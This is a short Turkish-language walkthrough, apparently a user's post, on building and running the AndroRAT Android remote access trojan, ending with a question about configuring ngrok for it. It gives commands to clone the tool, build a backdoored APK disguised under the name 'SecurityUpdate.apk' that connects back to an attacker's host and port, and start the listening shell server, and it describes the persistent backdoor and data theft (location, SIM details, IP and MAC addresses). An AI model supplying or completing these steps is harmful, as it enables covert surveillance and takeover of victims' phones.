AndroRAT, bir Android cihazı uzaktan kontrol etmeyi ve ondan bilgi almayı sağlayan bir araçtır. AndroRAT, Android istemci tarafında Java kullanılarak geliştirilmiştir ve sunucu tarafı Python'da yazılmıştır. AndroRAT, hedef cihazda kalıcı bir arka kapı sağlayarak uygulamanın cihaz başlatıldığında otomatik olarak çalışmasını sağlar. Ayrıca cihazın mevcut konumunu, SIM kart detaylarını, IP adresini ve MAC adresini de alabilir.
AndroRAT Kurulumu:
İlk olarak, AndroRAT'ı kurmanız gerekiyor. GitHub veya diğer kaynaklardan AndroRAT'ı indirin ve gerekli bağımlılıkları yükleyin.
git clone https://github.com/karma9874/AndroRAT
cd androrat
APK Dosyasını Oluşturma
AndroRAT ile bir APK dosyası oluşturmak için androRAT.py dosyasını kullanarak APK'yı yapılandırın. Bu APK, hedef cihazda kurulduğunda, size cihaz üzerinde kontrol ve bilgi sağlayacaktır.
python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk
--build: APK dosyasının oluşturulmasını başlatır.
-i 10.10.1.13: Sunucunun IP adresini belirtir (bu örnekte, 10.10.1.13).
-p 4444: Sunucunun dinleyeceği port numarasını belirtir (bu örnekte, 4444).
-o SecurityUpdate.apk: Çıktı olarak oluşturulacak APK dosyasının adını belirtir (bu örnekte, SecurityUpdate.apk).
Sunucu Başlatma
APK dosyası oluşturulduktan sonra, AndroRAT sunucusunu başlatmalısınız. Bu, cihazın bağlantılarını dinleyecek ve cihazdan gelen komutları işleyecektir.
python3 androRAT.py --shell -i 0.0.0.0 -p 4444
--shell: Sunucunun shell modunda çalışmasını sağlar.
-i 0.0.0.0: Sunucunun tüm ağ arayüzlerinden gelen bağlantıları kabul etmesini sağlar.
-p 4444: Sunucunun dinleyeceği port numarasını belirtir (bu örnekte, 4444).
bunda ngrok ayarı nasıl yapılacak ıntenrette pek bır dokuman bulamadım.